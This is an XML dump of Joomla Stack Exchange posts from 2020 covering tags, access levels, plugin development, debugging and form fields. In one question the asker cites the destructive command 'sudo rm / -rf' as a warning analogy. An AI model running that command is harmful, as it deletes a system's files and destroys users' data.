  <row Id="28430" PostTypeId="1" CreationDate="2020-09-09T12:54:46.823" Score="0" ViewCount="170" Body="&lt;p&gt;i will get tags from a specific parent id in each article&lt;/p&gt;&#xA;&lt;p&gt;my Tags list :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;. Id .... Name&#xA;+..1......parent&#xA;-..2......child1&#xA;-..3.......child2&#xA;+..4......parent2&#xA;-..5.......child1&#xA;-..6......child2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Post id 600 has 3 tags (ids 3, 5, and 6). I will show only tags with parent id 4&#xA;How can I do it???&lt;/p&gt;&#xA;" OwnerUserId="14508" LastActivityDate="2021-06-07T22:03:25.290" Title="How can I get tags from a specific parent id in each post?" Tags="|joomla-3.x|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28431" PostTypeId="1" CreationDate="2020-09-10T05:43:36.450" Score="2" ViewCount="101" Body="&lt;p&gt;We have recently built a site on Joomla and have used the SP Page Builder. But unfortunately, the SP Page Builder does not have the Workflow / User Access mechanism where one set of users create the content / page and other set of users preview it and publish. Are there any other alternative Page Builder plugins that provide this functionality?&lt;/p&gt;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="14515" LastEditorUserId="12352" LastEditDate="2020-09-15T08:21:34.963" LastActivityDate="2024-02-29T07:08:46.080" Title="Joomla - Page Builder - With Publish Workflow" Tags="|joomla-3.x|workflow|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28432" PostTypeId="1" AcceptedAnswerId="28433" CreationDate="2020-09-10T05:47:03.340" Score="2" ViewCount="102" Body="&lt;h3&gt;UPDATE 1&lt;/h3&gt;&#xA;&lt;p&gt;I made a mess about the groups and viewing access levels and tried to rectify that error. I don't think I changed any of the original text, only added information, but if you want to see the original question, it's in the edit history.&lt;/p&gt;&#xA;&lt;p&gt;I just had a new idea and will post a new question. Since the two are closely related, I will post the link to that question in the comment to this one.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Here are my user groups:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public&#xA;- guest&#xA;- manager&#xA;| - Administrator&#xA;- registered&#xA;| - author&#xA;| | - editor&#xA;| | | - publisher&#xA;| - custom1&#xA;| | - custom2&#xA;| | | - custom 3&#xA;- super user&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here are my Viewing Access Levels&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Level Name   User Groups Having Viewing Access&#xA;----------   ---------------------------------&#xA;Public       Public&#xA;Guest        Guest&#xA;custom1      custom1&#xA;custom2      custom2&#xA;custom3      custom3&#xA;Registered   Administrator, Manager, Registered, Super Users&#xA;Special      Administrator, Author, Manager, Super Users&#xA;Super Users  Super Users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then I made an article and set access to &lt;code&gt;custom1&lt;/code&gt;. When I log in as either one of the &lt;strong&gt;custom&lt;/strong&gt; groups, I can view the article. When I log in as &lt;strong&gt;Administrator&lt;/strong&gt; or even as &lt;strong&gt;Super User&lt;/strong&gt;, I cannot see the article. I would have expected to have access to just &lt;em&gt;anything&lt;/em&gt; as a super user, also on the front end of the website.&lt;/p&gt;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://www.templatemonster.com/help/joomla-how-to-manage-user-permissions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article on templatemonster.com&lt;/a&gt; to disagree with my assumption. Specifically,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The user can do any action on the site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yay!&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;However, Access Levels can still be assigned to control what this group sees on the site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Oh.&lt;/p&gt;&#xA;&lt;p&gt;Do I really have to individually grant the super user viewing access to each level so that super user can view articles on the website? If I do that for each individual higher-than-public user group, that will mess up the &amp;quot;Viewing Access Levels&amp;quot; screen and make it illegible when I have more than a dozen access levels. Is there a sensible solution to this or is that really the intended functionality?&lt;/p&gt;&#xA;&lt;p&gt;Suppose I want managers and admins and authors and publishers and whatnots to be able to at least be able to &lt;strong&gt;view&lt;/strong&gt; everything on the website.&lt;/p&gt;&#xA;&lt;p&gt;If I have to set the user groups to each viewing access level, my access levels would (have to, I think,) look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Level Name   User Groups Having Viewing Access&#xA;----------   ---------------------------------&#xA;Public       Public&#xA;Guest        Guest, Manager, Author, Super Users&#xA;custom1      custom1&#xA;custom2      custom2&#xA;custom3      custom3, Manager, Author, Super Users&#xA;Registered   Administrator, Manager, Registered, Super Users&#xA;Special      Administrator, Author, Manager, Super Users&#xA;Super Users  Super Users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I mean, yeah, it's more logical, one could argue, but I find it to be messy, especially if I choose to make many different user groups and access levels pertaining to these groups.&lt;/p&gt;&#xA;&lt;p&gt;Just a thought: I imagine there should be some kind of check-box in some user setting so I can go to user settings for Administrator and check the box &amp;quot;Can view anything on the front end&amp;quot; and do the same for super users. This way, I wouldn't have to grant the Administrator and the Super User viewing access to &amp;quot;Publisher&amp;quot; and &amp;quot;custom3&amp;quot; viewing access levels. This would make for a cleaner Viewing Access Levels screen.&lt;/p&gt;&#xA;&lt;p&gt;Please feel free to edit the question tags if they don't fit the question.&lt;/p&gt;&#xA;" OwnerUserId="14452" LastEditorUserId="14452" LastEditDate="2020-09-10T18:25:20.663" LastActivityDate="2020-09-10T22:12:09.053" Title="Super User not allowed to see and read articles" Tags="|acl|super-user|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28433" PostTypeId="2" ParentId="28432" CreationDate="2020-09-10T07:07:05.217" Score="1" Body="&lt;p&gt;&lt;strong&gt;User Group&lt;/strong&gt; is for grouping users. &lt;strong&gt;Viewing Access level&lt;/strong&gt; is to define what a &lt;strong&gt;User Group&lt;/strong&gt; can access.&lt;/p&gt;&#xA;&lt;p&gt;So, everytime you create a new &lt;strong&gt;User Group&lt;/strong&gt; you need to link  that new group to an &lt;strong&gt;Viewing Access Level&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Oppositely, when you create a new &lt;strong&gt;Viewing Access Level&lt;/strong&gt;, you need to assign a &lt;strong&gt;User Group&lt;/strong&gt; to that new &lt;strong&gt;Viewing Access Level&lt;/strong&gt;, so then any item created with that new &lt;strong&gt;Viewing Access Level&lt;/strong&gt; can be accessed by users under the assigned &lt;strong&gt;User Group&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="14452" LastEditDate="2020-09-10T22:12:09.053" LastActivityDate="2020-09-10T22:12:09.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28434" PostTypeId="2" ParentId="28424" CreationDate="2020-09-10T14:21:20.990" Score="2" Body="&lt;p&gt;Plugins can be fickle things to get right, so here's a short guide to getting your plugin working successfully.&lt;/p&gt;&#xA;&lt;h2&gt;Identify the Plugin Type and Event&lt;/h2&gt;&#xA;&lt;p&gt;Firstly work out which event you need to subscribe to.&lt;/p&gt;&#xA;&lt;p&gt;The events which are emitted by Joomla are listed in &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;, and these are segregated by plugin type. Unfortunately it's not always clear which event you need to subscribe to. I watched the video suggested by Eoin in his answer and there is a good description there of how Joomla generates a web page from an HTTP request, and at what stages the system type plugin events are emitted.&lt;/p&gt;&#xA;&lt;p&gt;For your particular requirement of inserting a meta tag into the HTTP response head you could probably choose any one of a number of the system events.&lt;/p&gt;&#xA;&lt;p&gt;Joomla third party extensions can also generate events; check the extension document for these.&lt;/p&gt;&#xA;&lt;h2&gt;Naming Conventions&lt;/h2&gt;&#xA;&lt;p&gt;Once you know which plugin type you need to develop and the event to subscribe to then you can start coding. But you have to abide strictly to certain Joomla naming conventions. I'll list these relating to the case where you want to create a &lt;code&gt;system&lt;/code&gt; type plugin called &amp;quot;example&amp;quot;. (Replace as appropriate &amp;quot;example&amp;quot; and &amp;quot;system&amp;quot; with the names for your plugin everywhere below.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Avoid underscores in your plugin name!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Create the folder &lt;code&gt;plg_system_example&lt;/code&gt;, and in that folder create 2 files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;example.xml&lt;/code&gt; (your manifest file for the plugin)&#xA;&lt;code&gt;example.php&lt;/code&gt; (your main php code file for the plugin)&lt;/p&gt;&#xA;&lt;p&gt;Here's &lt;code&gt;example.xml&lt;/code&gt; with the key things:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.8&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;system&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_system_example&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;An example of a plugin&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;example&amp;quot;&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's &lt;code&gt;example.php&lt;/code&gt; (assuming you're subscribing to &lt;code&gt;onBeforeCompileHead&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class PlgSystemExample extends JPlugin&#xA;{&#xA;     public function onBeforeCompileHead()&#xA;     {&#xA;        … your code here&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note the capitalisation in the plugin class name!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you're subscribing to a different event, then use the appropriate parameters for your function call, as described in  &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Installation&lt;/h2&gt;&#xA;&lt;p&gt;Zip up your folder to create a zip file &lt;code&gt;plg_system_example.zip&lt;/code&gt; and install it.&lt;/p&gt;&#xA;&lt;p&gt;Remember to enable your plugin.&lt;/p&gt;&#xA;&lt;p&gt;Also plugins have an Access field, so you can define the set of usergroups for which the plugin is run.&lt;/p&gt;&#xA;&lt;p&gt;Your plugin is run both on the front-end and the back-end, so as Eoin mentioned, it's sensible to check which you're running on, and code appropriately.&lt;/p&gt;&#xA;&lt;p&gt;Finally, I did create a little video describing how plugins work in Joomla which you can find at &lt;a href=&quot;https://www.youtube.com/watch?v=UuOPrTu6Vac&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=UuOPrTu6Vac&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-09-11T08:45:18.900" LastActivityDate="2020-09-11T08:45:18.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28435" PostTypeId="1" CreationDate="2020-09-10T18:54:40.157" Score="1" ViewCount="41" Body="&lt;p&gt;This idea came to me when I was trying to formulate a question on this site found &lt;a href=&quot;https://joomla.stackexchange.com/q/28432/14452&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ok, bear with me, before you scream at me not to make every single user a super user, let me explain. This is in need of disambiguation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What could be the disadvantages and detrimental effects of setting 2?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the setting now, setting 1, very regular, nothing special:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Name   Username  Enabled  Activated  User Groups&#xA;----   ----      ----     ----       ----&#xA;one    one       yes      yes        Administrator&#xA;two    two       yes      yes        custom1&#xA;three  three     yes      yes        custom2&#xA;derp   derp      yes      yes        Super Users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What if I changed it to this, setting 2?:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Name   Username  Enabled  Activated  User Groups&#xA;----   ----      ----     ----       ----&#xA;one    one       yes      yes        Administrator&#xA;two    two       yes      yes        custom1&#xA;three  three     yes      yes        custom2&#xA;derp   derp      yes      yes        Super Users, Administrator, custom1, custom2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To be very clear, this, setting 3, would be suicide and I &lt;strong&gt;don't&lt;/strong&gt; mean to do this. I am aware that's not any better than doing something like &lt;code&gt;sudo rm / -rf&lt;/code&gt; on a linux machine (&lt;strong&gt;for the record, don't do this!&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Name   Username  Enabled  Activated  User Groups&#xA;----   ----      ----     ----       ----&#xA;one    one       yes      yes        Administrator, Super Users&#xA;two    two       yes      yes        custom1, Super Users&#xA;three  three     yes      yes        custom2, Super Users&#xA;derp   derp      yes      yes        Super Users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Setting 2 would be a solution to my predicament in &lt;a href=&quot;https://joomla.stackexchange.com/q/28432/14452&quot;&gt;my recent other question&lt;/a&gt; (same link as above).&lt;/p&gt;&#xA;" OwnerUserId="14452" LastEditorUserId="12352" LastEditDate="2020-09-10T22:11:01.467" LastActivityDate="2020-09-17T10:43:39.550" Title="What if I assign every user group to a Super User?" Tags="|acl|user-groups|joomla-3.9|super-user|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28436" PostTypeId="1" CreationDate="2020-09-10T19:42:28.353" Score="1" ViewCount="74" Body="&lt;p&gt;I have several questions regarding this issue:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On other parts of Joomla, I can use &lt;code&gt;var_dump&lt;/code&gt; to output variable to debug, but in some events like &lt;code&gt;onUserAfterSave&lt;/code&gt;, &lt;code&gt;var_dump&lt;/code&gt; won't work. I kind of know what's going on, but can someone explain to me the details of why it won't work? Is it related to &amp;quot;output buffer&amp;quot;? If the result of &lt;code&gt;var_dump&lt;/code&gt; doesn't show on screen, where does it go?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since &lt;code&gt;var_dump&lt;/code&gt; doesn't work, I am using another way to see the variables in the &lt;code&gt;onUserAfterSave&lt;/code&gt; function:&lt;/p&gt;&#xA;&lt;p&gt;JFactory::getApplication()-&amp;gt;enqueueMessage(json_encode($something))&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This proves to be working in most situations, the JSON string of &lt;code&gt;$something&lt;/code&gt; will show on screen and I can copy it to some online json decoder to have a better view of the variable, as most of the variables I am trying to see are objects. But json_encode can't get the object's private properties and methods. Is there a better way (for example using Joomla's own debug system) to get a tree view of the variables? I read some documentation of JDebug, but couldn't figure out how to easily get a tree view of object variables.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2021-06-08T00:08:30.873" Title="Better ways to debug in an event function like onUserAfterSave" Tags="|debug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28437" PostTypeId="2" ParentId="28430" CreationDate="2020-09-10T20:53:54.777" Score="1" Body="&lt;p&gt;There are a couple of ways you could do it, both involving examining the article tags which com_content produces, comparing them with the tags which you want to keep, and discarding the tags which don't match.&lt;/p&gt;&#xA;&lt;p&gt;You can do this either by creating an override of the com_content layout &lt;code&gt;display.php&lt;/code&gt; for displaying an article (as described in &lt;a href=&quot;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&lt;/a&gt;) or you could use a content plugin which is triggered by &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentPrepare&quot; rel=&quot;nofollow noreferrer&quot;&gt;onContentPrepare&lt;/a&gt; and remove the unwanted tags that way.&lt;/p&gt;&#xA;&lt;p&gt;Either way, you should use the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.TagsHelper.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;TagsHelper API&lt;/a&gt; to get the tags associated with the specific parent, and the &lt;code&gt;searchTags()&lt;/code&gt; method will do this for you. Examples of calling this function are given in the &lt;a href=&quot;https://docs.joomla.org/Tags_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tags API Guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The basic plugin code which will do something like what you want is below. You may need to adapt it slightly - for example, this matches all descendants of tag with id=4, not just immediate children, and there are views other than &lt;code&gt;com_content.article&lt;/code&gt; where articles are output. I'm not guaranteeing that it's totally bug-free!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;use Joomla\CMS\Helper\TagsHelper;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;class plgContentLimittags extends JPlugin&#xA;{&#xA;     public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0)&#xA;     {&#xA;        $parts = explode(&amp;quot;.&amp;quot;, $context);&#xA;        $app = Factory::getApplication();&#xA;        if ($app-&amp;gt;isClient('site') &amp;amp;&amp;amp; isset($parts[0]) &amp;amp;&amp;amp; $parts[0] == &amp;quot;com_content&amp;quot; &amp;amp;&amp;amp; isset($parts[1]) &amp;amp;&amp;amp; $parts[1] == &amp;quot;article&amp;quot; &amp;amp;&amp;amp; isset($article-&amp;gt;id, $article-&amp;gt;tags, $article-&amp;gt;tags-&amp;gt;itemTags))&#xA;        {&#xA;            $filters = array('parent_id' =&amp;gt; 4);&#xA;            $allowedTags = TagsHelper::searchTags($filters);&#xA;            foreach ($article-&amp;gt;tags-&amp;gt;itemTags as $index =&amp;gt; $tag)&#xA;            {&#xA;                $found = false;&#xA;                foreach ($allowedTags as $allowedTag)&#xA;                {&#xA;                    if ($tag-&amp;gt;tag_id == $allowedTag-&amp;gt;value)&#xA;                    {&#xA;                        $found = true;&#xA;                        break;&#xA;                    }&#xA;                }&#xA;                if (!$found)&#xA;                {&#xA;                    unset($article-&amp;gt;tags-&amp;gt;itemTags[$index]);&#xA;                }&#xA;            }&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-09-10T20:53:54.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28438" PostTypeId="2" ParentId="28436" CreationDate="2020-09-10T21:10:23.080" Score="1" Body="&lt;p&gt;If you're doing a lot of Joomla development then using a symbolic debugger within an IDE is indispensible in my opinion. It takes a bit of effort setting it up, but repays the effort multiple times over.&lt;/p&gt;&#xA;&lt;p&gt;There are some guidelines at &lt;a href=&quot;https://docs.joomla.org/How_to_debug_your_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_debug_your_code&lt;/a&gt; about how to set it up, and you can hopefully adapt what's there to your own preferred IDE.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure exactly the situation regarding onUserAfterSave, but in general the reason that var_dump() output disappears is that Joomla ends up doing a redirect to another URL.&lt;/p&gt;&#xA;&lt;p&gt;So for example, if your code is handling an HTTP POST, and you call var_dump() then that output will go in the response to the HTTP POST. If however Joomla ends up sending a redirect as the response then the browser will immediately make a new HTTP request to the redirect URL, and whatever you tried to put into the POST response will not appear.&lt;/p&gt;&#xA;&lt;p&gt;If you call enqueueMessage() then Joomla stores that message in the session, and retrieves and displays it when the new redirected HTTP request is received.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-09-10T21:10:23.080" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28439" PostTypeId="1" CreationDate="2020-09-10T21:57:08.663" Score="0" ViewCount="69" Body="&lt;p&gt;I'm wondering if there's a way to see which Menu Item is associated with an Article.&lt;/p&gt;&#xA;&lt;p&gt;I know this is easy from the Menu Item -&amp;gt; Article view, since Articles are assigned in Menu Items.&lt;/p&gt;&#xA;&lt;p&gt;If I'm in an Article, is there a field or way for me to see its associated Menu Item?&lt;/p&gt;&#xA;" OwnerUserId="14516" LastEditorUserId="12352" LastEditDate="2020-09-10T22:13:11.107" LastActivityDate="2020-09-11T09:14:19.813" Title="Find Menu Item through Article Item?" Tags="|articles|menu|navigation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28440" PostTypeId="2" ParentId="28439" CreationDate="2020-09-11T09:14:19.813" Score="1" Body="&lt;p&gt;You'd need to write some code to do it, but it wouldn't be hard.&lt;/p&gt;&#xA;&lt;p&gt;To get a list of all the menuitems on your Joomla site you can do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$app = Factory::getApplication();&#xA;$sitemenu = $app-&amp;gt;getMenu();&#xA;$menuitems = $sitemenu-&amp;gt;getItems(array(), array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then you can cycle through the &lt;code&gt;$menuitems&lt;/code&gt; examining the &lt;code&gt;query&lt;/code&gt; property which is an array with values something like &lt;code&gt;array(&amp;quot;option&amp;quot; =&amp;gt; &amp;quot;com_content&amp;quot;, &amp;quot;view&amp;quot; =&amp;gt; &amp;quot;article&amp;quot;, &amp;quot;id&amp;quot; =&amp;gt; &amp;quot;123&amp;quot;)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So you could write an administrator module to do what you want.&lt;/p&gt;&#xA;&lt;p&gt;Inside the module look for the case where an administrator is editing an article, indicated by your URL parameters being something like &lt;code&gt;?option=com_content&amp;amp;view=article&amp;amp;layout=edit&amp;amp;id=123&lt;/code&gt;. Then run the code above, look for where the &lt;code&gt;query&lt;/code&gt; property has the appropriate values, and matches the &lt;code&gt;id&lt;/code&gt; of the URL parameter, and then output the &lt;code&gt;title&lt;/code&gt; for each matching menuitem.&lt;/p&gt;&#xA;&lt;p&gt;You can find a guide to the menuitems API &lt;a href=&quot;https://docs.joomla.org/Menu_and_Menuitems_API_Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, and on that page there is sample module code to get you started.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-09-11T09:14:19.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28441" PostTypeId="1" CreationDate="2020-09-11T09:20:06.683" Score="1" ViewCount="412" Body="&lt;p&gt;I'm creating a small component with a search module. I will dumb this example down so that the question will be clear.&lt;/p&gt;&#xA;&lt;p&gt;The component manages books. The book form XML looks like this and its structure CANNOT be changed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset addfieldpath=&amp;quot;/administrator/components/com_books/models/fields&amp;quot;&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;title&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; /&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;type&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; /&amp;gt;&#xA;        ...&#xA;        &amp;lt;fields name=&amp;quot;specs&amp;quot;&amp;gt;&#xA;            ...&#xA;            &amp;lt;field name=&amp;quot;category&amp;quot; type=&amp;quot;category&amp;quot; label=&amp;quot;Category&amp;quot;&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JSELECT&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            ...&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The category field is a custom predefined list:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;&#xA;FormHelper::loadFieldClass('predefinedlist');&#xA;&#xA;class JFormFieldCategory extends \JFormFieldPredefinedList&#xA;{&#xA;    public $type = 'Category';&#xA;&#xA;    protected $predefinedOptions = array(&#xA;        '1' =&amp;gt; 'Cat1',&#xA;        '2' =&amp;gt; 'Cat2',&#xA;        '3' =&amp;gt; 'Cat3',&#xA;        ...&#xA;&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The component works fine (MVC) with selecting the category list and saving.&lt;/p&gt;&#xA;&lt;p&gt;Now for the search module... I want to use a select filter in the module which is based on the category field.&lt;/p&gt;&#xA;&lt;p&gt;What's the leanest way to do this? I don't want to repeat the category options. At the moment, I have this in the default.php of the module:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$value = Factory::getApplication()-&amp;gt;input-&amp;gt;getInt('category');&#xA;$bookform = Form::getInstance('com_books.book', 'book');&#xA;$bookform-&amp;gt;setFieldAttribute('category', 'class', 'customclass', 'specs');&#xA;$bookform-&amp;gt;setValue('category', 'specs', $value);&#xA;echo $bookform-&amp;gt;getInput('category', 'specs', $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I do this I get the following element:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&amp;quot;specs_category&amp;quot; name=&amp;quot;specs[category]&amp;quot; class=&amp;quot;customclass&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JSELECT&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Cat1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;Cat2&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;3&amp;quot;&amp;gt;Cat3&amp;lt;/option&amp;gt;&#xA;    ...&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I don't want the group name inside. I know I can change the keying like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$bookform = Form::getInstance('com_books.book', 'book', array('control' =&amp;gt; 'custom'));&#xA;&#xA;&amp;lt;select id=&amp;quot;specs_category&amp;quot; name=&amp;quot;custom[category]&amp;quot; class=&amp;quot;customclass&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this is not working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$bookform = Form::getInstance('com_books.book', 'book', array('control' =&amp;gt; false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I need is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&amp;quot;specs_category&amp;quot; name=&amp;quot;category&amp;quot; class=&amp;quot;customclass&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And please consider I cannot change the book XML structure as it is predefined for my work. Also this example is a bit dumbed down, so I cannot use custom fields.&lt;/p&gt;&#xA;&lt;p&gt;I tried adding this to the custom category field&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function setup(\SimpleXMLElement $element, $value, $group = null)&#xA;{&#xA;    $result = parent::setup($element, $value, null); // the null removes the keying&#xA;    return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That works, but the keying is needed when editing a book or when creating a menuitem, that uses this field as an option and the group &lt;code&gt;params&lt;/code&gt; is needed.&lt;/p&gt;&#xA;&lt;p&gt;I know I could get the HTML and fiddle around with a regex to remove the keying, but I'm sure that there is a better way.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastEditorUserId="3822" LastEditDate="2020-09-11T10:40:19.460" LastActivityDate="2021-06-08T13:07:20.600" Title="Using form XML for custom filter and removing group definition" Tags="|custom-component|custom-field|jform|xml|filter|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
